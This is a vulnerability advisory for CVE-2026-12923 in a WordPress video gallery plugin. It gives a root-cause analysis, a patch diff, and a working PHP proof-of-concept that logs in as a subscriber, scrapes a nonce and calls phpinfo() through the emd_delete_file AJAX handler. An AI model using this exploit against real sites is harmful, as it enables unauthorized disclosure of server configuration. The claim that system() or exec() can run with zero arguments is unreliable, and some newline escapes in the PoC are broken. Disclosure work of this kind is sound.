Atomic Edge analysis of CVE-2026-12923: This vulnerability in the Video Gallery (YouTube Showcase) plugin for WordPress allows authenticated attackers with Subscriber-level access or above to invoke arbitrary PHP functions via the ‘path’ parameter in the emd_delete_file AJAX handler. The vulnerability is rated CVSS 7.5 (High).
The root cause lies in the emd_delete_file() AJAX handler defined in includes/common-functions.php around line 1062. The handler receives a ‘path’ parameter via POST, sanitizes it with sanitize_text_field(), then strips the trailing ‘_PLUGIN_DIR’ substring. The resulting value is passed to strtoupper() and then directly invoked as a function name using $sess_name(). This allows an attacker to control which function gets called with zero arguments. The handler lacks any current_user_can() permission check and only requires a nonce, which is disclosed on any front-end page rendering a form shortcode containing file fields.
Exploitation requires an authenticated WordPress account (Subscriber or higher). The attacker sends a POST request to /wp-admin/admin-ajax.php with action=emd_delete_file, a valid nonce obtained from the page HTML, and a crafted ‘path’ parameter. By providing the name of any zero-argument PHP function such as phpinfo, phpversion, get_defined_vars, or error_get_last followed by a dummy suffix (which gets stripped), the attacker can execute that function. For example, path=PHPINFO_PLUGIN_DIR results in $sess_name = ‘PHPINFO’, and the code calls PHPINFO().
The patch hardcodes $myapp to ‘youtube_showcase’, removing user control over the function name. It also adds a function_exists() check before invoking $sess_name(), and verifies that the returned session object has a valid ‘session’ property. The patch also improves input validation for the ‘field’ and ‘del_file’ parameters, shifting from name-based matching to full_path-based matching for file deletion. Finally, it replaces die() with wp_die() for proper WordPress handling.
The primary impact is sensitive information disclosure. An attacker can call phpinfo() to reveal server configuration, environment variables, and installed modules. They can also call get_defined_vars() to dump current variables, or error_get_last() to see recent errors. While direct remote code execution is limited to zero-argument functions, the information gathered could enable further attacks, and some environments may allow dangerous functions like system() or exec() with zero arguments if the PHP configuration permits.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/youtube-showcase/includes/common-functions.php
+++ b/youtube-showcase/includes/common-functions.php
@@ -1062,24 +1062,35 @@
$ret = check_ajax_referer('emd_delete_file', 'nonce', false);
if ($ret === false) {
echo '<div class="text-danger"><a href="' . wp_get_referer() . '">' . esc_html__('Please refresh the page and try again.', 'youtube-showcase') . '</a></div>';
- die();
+ wp_die();
}
- $path = sanitize_text_field($_POST['path']);
- $myapp = strtolower(preg_replace('/_PLUGIN_DIR$/','',$path));
+ $myapp = 'youtube_showcase';
$sess_name = strtoupper($myapp);
- $session_class = $sess_name();
+ if ( function_exists($sess_name) ) {
+ $session_class = $sess_name();
+ } else {
+ echo '<div class="text-danger">' . esc_html__('System configuration error.', 'youtube-showcase') . '</div>';
+ wp_die();
+ }
+ if ( ! $session_class || ! isset($session_class->session) ) {
+ echo '<div class="text-danger">' . esc_html__('Session handler unavailable.', 'youtube-showcase') . '</div>';
+ wp_die();
+ }
$sess_files = $session_class->session->get('uploads');
- $field = sanitize_text_field($_POST['field']);
- if(!empty($sess_files[$field])){
- foreach($sess_files[$field] as $kattch => $myattch){
- if($myattch['name'] == sanitize_text_field($_POST['del_file'])){
+ $field = isset($_POST['field']) ? sanitize_text_field($_POST['field']) : '';
+ if ( ! empty( $sess_files[$field] ) && isset( $_POST['del_file'] ) ) {
+ $del_file_target = sanitize_text_field($_POST['del_file']);
+
+ foreach ( $sess_files[$field] as $kattch => $myattch ) {
+ if ( isset($myattch['full_path']) && $myattch['full_path'] === $del_file_target ) {
unset($sess_files[$field][$kattch]);
}
}
- $session_class->session->set('uploads',$sess_files);
+ // Update the user's specific session
+ $session_class->session->set('uploads', $sess_files);
}
echo 1;
- die();
+ wp_die();
}
}
if(!function_exists('emd_get_attachment_layout')){
--- a/youtube-showcase/youtube-showcase.php
+++ b/youtube-showcase/youtube-showcase.php
@@ -3,7 +3,7 @@
* Plugin Name: Video Gallery – YouTube Gallery, Playlist & Video Grid
* Plugin URI: https://emarketdesign.com
* Description: Create a YouTube video gallery or playlist visually in the block editor. No shortcodes, no coding — just beautiful responsive video grids.
- * Version: 4.0.3
+ * Version: 4.0.4
* Author: eMarket Design
* Author URI: https://emdplugins.com?pk_campaign=youtube-showcase-com&pk_kwd=readme-by
* Text Domain: youtube-showcase
@@ -89,7 +89,7 @@
* @return void
*/
private function define_constants() {
- define('YOUTUBE_SHOWCASE_VERSION', '4.0.3');
+ define('YOUTUBE_SHOWCASE_VERSION', '4.0.4');
define('YOUTUBE_SHOWCASE_AUTHOR', 'eMarket Design');
define('YOUTUBE_SHOWCASE_NAME', 'Youtube Showcase');
define('YOUTUBE_SHOWCASE_PLUGIN_FILE', __FILE__);
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12923 - Video Gallery <= 4.0.3 - Authenticated (Subscriber+) Arbitrary Function Call via 'path' Parameter
// Configuration: Set these variables to the target WordPress site and credentials
$target_url = 'https://example.com'; // Base URL of the WordPress site (with trailing slash?)
$username = 'subscriber'; // WordPress username with Subscriber role or higher
$password = 'subscriber_password'; // Password for the account
// Step 1: Authenticate and obtain cookies with nonce
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'testcookie' => 1
);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
die('cURL error: ' . curl_error($ch));
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200 && $http_code !== 302) {
die('Login failed with HTTP code: ' . $http_code);
}
// Step 2: Extract nonce from a page that renders the plugin's form (e.g., a page with shortcode)
$page_url = rtrim($target_url, '/') . '/?p=123'; // Replace with an actual page ID or slug that contains the gallery shortcode
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$page_html = curl_exec($ch);
// Look for nonce in JavaScript or HTML: the nonce name is 'emd_delete_file' and parameter 'nonce'
preg_match('/nonce":"([a-f0-9]+)"/', $page_html, $matches);
if (empty($matches)) {
// Alternative: try to extract from an inline script or data attribute
preg_match('/data-nonce="([a-f0-9]+)"/', $page_html, $matches);
}
if (empty($matches)) {
die('Could not extract nonce from the page. Ensure the page contains the gallery shortcode.');
}
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";
// Step 3: Craft exploit payload to call phpinfo (zero-argument function)
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'emd_delete_file',
'nonce' => $nonce,
'path' => 'PHPINFO_PLUGIN_DIR', // This becomes 'PHPINFO' after stripping '_PLUGIN_DIR', then strtoupper is applied (already uppercase), function call: PHPINFO()
'field' => 'test',
'del_file' => 'test'
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
if (curl_errno($ch)) {
die('cURL error during exploit: ' . curl_error($ch));
}
// phpinfo output will be returned in $result (if successful)
echo "[+] Response length: " . strlen($result) . "n";
echo "[+] Response (first 2000 characters):n";
echo substr($result, 0, 2000);
echo "nn[*] PoC completed. Check the response above for phpinfo() output.n";
curl_close($ch);